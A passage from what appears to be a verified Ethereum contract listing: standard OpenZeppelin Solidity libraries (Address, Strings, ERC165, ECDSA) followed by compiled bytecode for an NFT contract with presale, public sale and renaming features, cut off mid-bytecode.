} /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } }
0x60806040526004361061034a5760003560e01c806368428a1b116101bb578063a0712d68116100f7578063dc8c57b411610095578063f0292a031161006f578063f0292a03146108fc578063f2fde38b14610911578063ff1b655614610931578063ff5018851461094657600080fd5b8063dc8c57b414610889578063de8b51e11461089e578063e985e9c5146108b357600080fd5b8063b88d4fde116100d1578063b88d4fde1461080e578063c002d23d1461082e578063c87b56dd14610849578063d720f9da1461086957600080fd5b8063a0712d68146107bb578063a22cb465146107ce578063a4a1edb1146107ee57600080fd5b80638da5cb5b11610164578063983fbab21161013e578063983fbab21461075b57806398e90184146104f75780639c6add8e1461077b5780639eb6ed1c1461079b57600080fd5b80638da5cb5b1461070857806394985ddd1461072657806395d89b411461074657600080fd5b8063715018a611610195578063715018a6146106be578063750521f5146106d357806377311049146106f357600080fd5b806368428a1b146106685780636ba90c6e1461068957806370a082311461069e57600080fd5b806330176e131161028a57806342842e0e1161023357806353135ca01161020d57806353135ca0146105f257806353e76f2c14610613578063549527c3146106335780636352211e1461064857600080fd5b806342842e0e1461059e5780634e21dc40146105be57806351830227146105d157600080fd5b80633b2c3fb6116102645780633b2c3fb61461055f5780633ccfd60b1461057457806340838f741461058957600080fd5b806330176e131461051457806332cb6b0c14610534578063346d14ae1461054a57600080fd5b8063095ea7b3116102f757806314dee4b3116102d157806314dee4b31461049857806318160ddd146104b857806323b872dd146104d75780632ee75a40146104f757600080fd5b8063095ea7b3146104355780630f1876a214610455578063124733061461046a57600080fd5b806305e3c4291161032857806305e3c429146103c857806306fdde0314610400578063081812fc1461041557600080fd5b806301ffc9a71461034f57806303339bcb1461038457806303ee438c146103a6575b600080fd5b34801561035b57600080fd5b5061036f61036a366004613e4c565b610973565b60405190151581526020015b60405180910390f35b34801561039057600080fd5b506103a461039f366004613f58565b610a10565b005b3480156103b257600080fd5b506103bb610b06565b60405161037b91906141cb565b3480156103d457600080fd5b506014546103e8906001600160a01b031681565b6040516001600160a01b03909116815260200161037b565b34801561040c57600080fd5b506103bb610b94565b34801561042157600080fd5b506103e8610430366004613f40565b610c26565b34801561044157600080fd5b506103a4610450366004613dce565b610cbb565b34801561046157600080fd5b506103a4610e0b565b34801561047657600080fd5b5061048a610485366004613f40565b610eb4565b60405161037b92919061420d565b3480156104a457600080fd5b506103a46104b3366004613f7a565b610fe0565b3480156104c457600080fd5b50600c545b60405190815260200161037b565b3480156104e357600080fd5b506103a46104f2366004613cf7565b611325565b34801561050357600080fd5b506104c968056bc75e2d6310000081565b34801561052057600080fd5b506103a461052f366004613efa565b61147c565b34801561054057600080fd5b506104c961258081565b34801561055657600080fd5b506103bb6114db565b34801561056b57600080fd5b506103a46114eb565b34801561058057600080fd5b506103a46115be565b34801561059557600080fd5b506104c96116c7565b3480156105aa57600080fd5b506103a46105b9366004613cf7565b6116d4565b6103a46105cc366004613eb7565b6116ef565b3480156105dd57600080fd5b5060115461036f90600160a01b900460ff1681565b3480156105fe57600080fd5b5060115461036f90600160a81b900460ff1681565b34801561061f57600080fd5b506103a461062e366004613f7a565b611960565b34801561063f57600080fd5b506104c9600381565b34801561065457600080fd5b506103e8610663366004613f40565b611c65565b34801561067457600080fd5b5060115461036f90600160b01b900460ff1681565b34801561069557600080fd5b506104c9606481565b3480156106aa57600080fd5b506104c96106b9366004613cab565b611cf0565b3480156106ca57600080fd5b506103a4611d8a565b3480156106df57600080fd5b506103a46106ee366004613efa565b611dde565b3480156106ff57600080fd5b506103a4611e39565b34801561071457600080fd5b506006546001600160a01b03166103e8565b34801561073257600080fd5b506103a4610741366004613e2b565b611ebd565b34801561075257600080fd5b506103bb611f3f565b34801561076757600080fd5b506103a4610776366004613dce565b611f4e565b34801561078757600080fd5b506103bb610796366004613e84565b612151565b3480156107a757600080fd5b506103a46107b6366004613cab565b612198565b6103a46107c9366004613f40565b612202565b3480156107da57600080fd5b506103a46107e9366004613d98565b61239b565b3480156107fa57600080fd5b506103e8610809366004613e84565b612460565b34801561081a57600080fd5b506103a4610829366004613d32565b612484565b34801561083a57600080fd5b506104c966d529ae9e86000081565b34801561085557600080fd5b506103bb610864366004613f40565b6125dd565b34801561087557600080fd5b506104c9610884366004613efa565b6126b6565b34801561089557600080fd5b506104c96126f6565b3480156108aa57600080fd5b506103a4612752565b3480156108bf57600080fd5b5061036f6108ce366004613cc5565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561090857600080fd5b506104c9600a81565b34801561091d57600080fd5b506103a461092c366004613cab565b6127d6565b34801561093d57600080fd5b506103bb6128a3565b34801561095257600080fd5b506104c9610961366004613cab565b60136020526000908152604090205481565b60006001600160e01b031982167f80ac58cd0000000000000000000000000000000000000000000000000000000014806109d657506001600160e01b031982167f5b5e139f00000000000000000000000000000000000000000000000000000000145b80610a0a57507f01ffc9a7000000000000000000000000000000000000000000000000000000006001600160e01b03198316145b92915050565b6006546001600160a01b03163314610a5d5760405162461bcd60e51b8152602060048201819052602482015260008051602061454783398151915260448201526064015b60405180910390fd5b606482600d54610a6d9190614232565b1115610ae15760405162461bcd60e51b815260206004820152602960248201527f45786365656473206d6178696d756d206e756d626572206f662072657365727660448201527f656420746f6b656e7300000000000000000000000000000000000000000000006064820152608401610a54565b610aeb82826128bf565b81600d6000828254610afd9190614232565b90915550505050565b60128054610b1390614436565b80601f0160208091040260200160405190810160405280929190818152602001828054610b3f90614436565b8015610b8c5780601f10610b6157610100808354040283529160200191610b8c565b820191906000526020600020905b815481529060010190602001808311610b6f57829003601f168201915b505050505081565b606060008054610ba390614436565b80601f0160208091040260200160405190810160405280929190818152602001828054610bcf90614436565b8015610c1c5780601f10610bf157610100808354040283529160200191610c1c565b820191906000526020600020905b815481529060010190602001808311610bff57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b0316610c9f5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610a54565b506000908152600460205260409020546001600160a01b031690565b6000610cc682611c65565b9050806001600160a01b0316836001600160a01b03161415610d505760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f72000000000000000000000000000000000000000000000000000000000000006064820152608401610a54565b336001600160a01b0382161480610d8a57506001600160a01b038116600090815260056020908152604080832033845290915290205460ff165b610dfc5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610a54565b610e06838361295f565b505050565b6006546001600160a01b03163314610e535760405162461bcd60e51b815260206004820181905260248201526000805160206145478339815191526044820152606401610a54565b600f5415610ea35760405162461bcd60e51b815260206004820152601560248201527f4f666673657420697320616c72656164792073657400000000000000000000006044820152606401610a54565b610eb1600a54600b546129cd565b50565b601560205260009081526040902080548190610ecf90614436565b80601f0160208091040260200160405190810160405280929190818152602001828054610efb90614436565b8015610f485780601f10610f1d57610100808354040283529160200191610f48565b820191906000526020600020905b815481529060010190602001808311610f2b57829003601f168201915b505050505090806001018054610f5d90614436565b80601f0160208091040260200160405190810160405280929190818152602001828054610f8990614436565b8015610fd65780601f10610fab57610100808354040283529160200191610fd6565b820191906000526020600020905b815481529060010190602001808311610fb957829003601f168201915b5050505050905082565b8233610feb82611c65565b6001600160a01b0316146110415760405162461bcd60e51b815260206004820152601d60248201527f53656e646572206973206e6f742074686520746f6b656e206f776e65720000006044820152606401610a54565b6014546001600160a01b03166110995760405162461bcd60e51b815260206004820152601560248201527f4e6f20746f6b656e20636f6e74726163742073657400000000000000000000006044820152606401610a54565b600083838080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505082519293505050158015906110e657506101188151105b6111325760405162461bcd60e51b815260206004820152601a60248201527f496e76616c6964206465736372697074696f6e206c656e6774680000000000006044820152606401610a54565b6002601560008781526020019081526020016000206001016040516111579190614039565b602060405180830381855afa158015611174573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906111979190613e13565b6002826040516111a7919061401d565b602060405180830381855afa1580156111c4573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906111e79190613e13565b141561125b5760405162461bcd60e51b815260206004820152602e60248201527f4e6577206465736372697074696f6e2069732073616d6520617320637572726560448201527f6e74206465736372697074696f6e0000000000000000000000000000000000006064820152608401610a54565b601454604051632770a7eb60e21b815233600482015268056bc75e2d6310000060248201526001600160a01b0390911690639dc29fac90604401600060405180830381600087803b1580156112af57600080fd5b505af11580156112c3573d6000803e3d6000fd5b50505060008681526015602052604090206112e391506001018585613aed565b50847fa5eb4fe2f21ddb28c752c9927387264d67ce06b0ce619ad8b4b06d8dfe94834785856040516113169291906141de565b60405180910390a25050505050565b600260075414156113785760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610a54565b6002600755611388335b82612b58565b6113ee5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6044820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b6064820152608401610a54565b6014546001600160a01b0316156114675760145460405163c640752d60e01b81526001600160a01b03858116600483015284811660248301529091169063c640752d90604401600060405180830381600087803b15801561144e57600080fd5b505af1158015611462573d6000803e3d6000fd5b505050505b611472838383612c4b565b5050600160075550565b6006546001600160a01b031633146114c45760405162461bcd60e51b815260206004820181905260248201526000805160206145478339815191526044820152606401610a54565b80516114d7906010906020840190613b71565b5050565b60606114e633612cc5565b905090565b6006546001600160a01b031633146115335760405162461bcd60e51b815260206004820181905260248201526000805160206145478339815191526044820152606401610a54565b600f546115825760405162461bcd60e51b815260206004820152601d60248201527f4f666673657420686173206e6f74206265656e2067656e6572617465640000006044820152606401610a54565b601180547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff8116600160a01b9182900460ff1615909102179055565b600260075414156116115760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610a54565b60026007556011546001600160a01b031633148061163957506006546001600160a01b031633145b6116855760405162461bcd60e51b815260206004820152601660248201527f43616c6c65722063616e6e6f74207769746864726177000000000000000000006044820152606401610a54565b6011546116a5906001600160a01b03166116a060054761426f565b612e28565b6116c06116ba6006546001600160a01b031690565b47612e28565b6001600755565b60006114e66108846114db565b610e0683838360405180602001604052806000815250612484565b600260075414156117425760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610a54565b60026007558160006117556108846114db565b905060006117638284612f41565b6008549091506001600160a01b038083169116146117c35760405162461bcd60e51b815260206004820152601b60248201527f496e76616c69642077686974656c697374207369676e617475726500000000006044820152606401610a54565b601154600160a81b900460ff1661181c5760405162461bcd60e51b815260206004820152601760248201527f50726573616c6520686173206e6f7420737461727465640000000000000000006044820152606401610a54565b61182d8466d529ae9e860000614390565b341461187b5760405162461bcd60e51b815260206004820152601960248201527f496e76616c696420457468657220616d6f756e742073656e74000000000000006044820152606401610a54565b33600090815260136020526040902054600390611899908690614232565b111561190d5760405162461bcd60e51b815260206004820152602160248201527f457863656564732072656d61696e696e672070726573616c652062616c616e6360448201527f65000000000000000000000000000000000000000000000000000000000000006064820152608401610a54565b61191784336128bf565b3360009081526013602052604081208054869290611936908490614232565b9250508190555083600e600082825461194f9190614232565b909155505060016007555050505050565b823361196b82611c65565b6001600160a01b0316146119c15760405162461bcd60e51b815260206004820152601d60248201527f53656e646572206973206e6f742074686520746f6b656e206f776e65720000006044820152606401610a54565b6014546001600160a01b0316611a195760405162461bcd60e51b815260206004820152601560248201527f4e6f20746f6b656e20636f6e74726163742073657400000000000000000000006044820152606401610a54565b600083838080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250508251929350505015801590611a65575060198151105b611ab15760405162461bcd60e51b815260206004820152601360248201527f496e76616c6964206e616d65206c656e677468000000000000000000000000006044820152606401610a54565b600085815260156020526040908190209051600291611acf91614039565b602060405180830381855afa158015611aec573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190611b0f9190613e13565b600282604051611b1f919061401d565b602060405180830381855afa158015611b3c573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190611b5f9190613e13565b1415611bad5760405162461bcd60e51b815260206004820181905260248201527f4e6577206e616d652069732073616d652061732063757272656e74206e616d656044820152606401610a54565b601454604051632770a7eb60e21b815233600482015268056bc75e2d6310000060248201526001600160a01b0390911690639dc29fac90604401600060405180830381600087803b158015611c0157600080fd5b505af1158015611c15573d6000803e3d6000fd5b5050506000868152601560205260409020611c3291508585613aed565b50847fac2072268d18e10aecad35c0c04acd66330b2571a8ff403e3c702d77d3bab13485856040516113169291906141de565b6000818152600260205260408120546001600160a01b031680610a0a5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e00000000000000000000000000000000000000000000006064820152608401610a54565b60006001600160a01b038216611d6e5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f2061646472657373000000000000000000000000000000000000000000006064820152608401610a54565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b03163314611dd25760405162461bcd60e51b815260206004820181905260248201526000805160206145478339815191526044820152606401610a54565b611ddc6000612f65565b565b6006546001600160a01b03163314611e265760405162461bcd60e51b815260206004820181905260248201526000805160206145478339815191526044820152606401610a54565b80516114d7906012906020840190613b71565b6006546001600160a01b03163314611e815760405162461bcd60e51b815260206004820181905260248201526000805160206145478339815191526044820152606401610a54565b601180547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff8116600160a81b9182900460ff1615909102179055565b336001600160a01b037f000000000000000000000000f0d54349addcf704f77ae15b96510dea15cb79521614611f355760405162461bcd60e51b815260206004820152601f60248201527f4f6e6c7920565246436f6f7264696e61746f722063616e2066756c66696c6c006044820152606401610a54565b6114d78282612fb7565b606060018054610ba390614436565b6006546001600160a01b03163314611f965760405162461bcd60e51b815260206004820181905260248201526000805160206145478339815191526044820152606401610a54565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015281907f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca6001600160a01b0316906370a082319060240160206040518083038186803b15801561201057600080fd5b505afa158015612024573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120489190613e13565b10156120965760405162461bcd60e51b815260206004820152601960248201527f496e73756666696369656e74204c494e4b2062616c616e6365000000000000006044820152606401610a54565b6040517fa9059cbb0000000000000000000000000000000000000000000000000000000081526001600160a01b038381166004830152602482018390527f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca169063a9059cbb90604401602060405180830381600087803b15801561211957600080fd5b505af115801561212d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e069190613df7565b6060600061215e83612460565b6040516bffffffffffffffffffffffff19606083901b1660208201529091506034015b604051602081830303815290604052915050919050565b6006546001600160a01b031633146121e05760405162461bcd60e51b815260206004820181905260248201526000805160206145478339815191526044820152606401610a54565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b600260075414156122555760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610a54565b6002600755601154600160b01b900460ff166122b35760405162461bcd60e51b815260206004820152601b60248201527f5075626c69632073616c6520686173206e6f74207374617274656400000000006044820152606401610a54565b6122c48166d529ae9e860000614390565b34146123125760405162461bcd60e51b815260206004820152601960248201527f496e76616c696420457468657220616d6f756e742073656e74000000000000006044820152606401610a54565b600a8111156123895760405162461bcd60e51b815260206004820152602a60248201527f4578636565647320746865206d6178696d756d20616d6f756e7420746f206d6960448201527f6e74206174206f6e6365000000000000000000000000000000000000000000006064820152608401610a54565b61239381336128bf565b506001600755565b6001600160a01b0382163314156123f45760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610a54565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b60008061246e6108846114db565b9050600061247c8285612f41565b949350505050565b600260075414156124d75760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610a54565b60026007556124e7335b83612b58565b61254d5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6044820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b6064820152608401610a54565b6014546001600160a01b0316156125c65760145460405163c640752d60e01b81526001600160a01b03868116600483015285811660248301529091169063c640752d90604401600060405180830381600087803b1580156125ad57600080fd5b505af11580156125c1573d6000803e3d6000fd5b505050505b6125d284848484612fca565b505060016007555050565b6000818152600260205260409020546060906001600160a01b031661266a5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006064820152608401610a54565b600061267461304b565b9050600081511161269457604051806020016040528060008152506126af565b8061269e8461305a565b6040516020016121819291906140d4565b9392505050565b6000808290506126c6815161305a565b816040516020016126d8929190614103565b60405160208183030381529060405280519060200120915050919050565b6000600f546000141561274b5760405162461bcd60e51b815260206004820152601d60248201527f4f666673657420686173206e6f74206265656e2067656e6572617465640000006044820152606401610a54565b50600f5490565b6006546001600160a01b0316331461279a5760405162461bcd60e51b815260206004820181905260248201526000805160206145478339815191526044820152606401610a54565b601180547fffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffff8116600160b01b9182900460ff1615909102179055565b6006546001600160a01b0316331461281e5760405162461bcd60e51b815260206004820181905260248201526000805160206145478339815191526044820152606401610a54565b6001600160a01b03811661289a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610a54565b610eb181612f65565b6040518060600160405280604081526020016145076040913981565b61258082600c546128d09190614232565b1061291d5760405162461bcd60e51b815260206004820181905260248201527f45786365656473206d6178696d756d206e756d626572206f6620746f6b656e736044820152606401610a54565b60005b82811015610e065761293482600c54613190565b6001600c60008282546129479190614232565b9091555081905061295781614471565b915050612920565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061299482611c65565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60007f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca6001600160a01b0316634000aea07f000000000000000000000000f0d54349addcf704f77ae15b96510dea15cb795284866000604051602001612a3d929190918252602082015260400190565b6040516020818303038152906040526040518463ffffffff1660e01b8152600401612a6a9392919061419a565b602060405180830381600087803b158015612a8457600080fd5b505af1158015612a98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612abc9190613df7565b50600083815260096020818152604080842054815180840189905280830186905230606082015260808082018390528351808303909101815260a090910190925281519183019190912093879052919052612b18906001614232565b60008581526009602052604090205561247c8482604080516020808201949094528082019290925280518083038201815260609092019052805191012090565b6000818152600260205260408120546001600160a01b0316612bd15760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610a54565b6000612bdc83611c65565b9050806001600160a01b0316846001600160a01b03161480612c175750836001600160a01b0316612c0c84610c26565b6001600160a01b0316145b8061247c57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff1661247c565b612c5433611382565b612cba5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6044820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b6064820152608401610a54565b610e068383836131aa565b60408051602880825260608281019093526000919060208201818036833701905050905060005b6014811015612e21576000612d028260136143d0565b612d0d906008614390565b612d189060026142e8565b612d2b906001600160a01b03871661426f565b60f81b9050600060108260f81c612d429190614283565b60f81b905060008160f81c6010612d5991906143af565b8360f81c612d6791906143e7565b60f81b9050612d7582613377565b85612d81866002614390565b81518110612d9f57634e4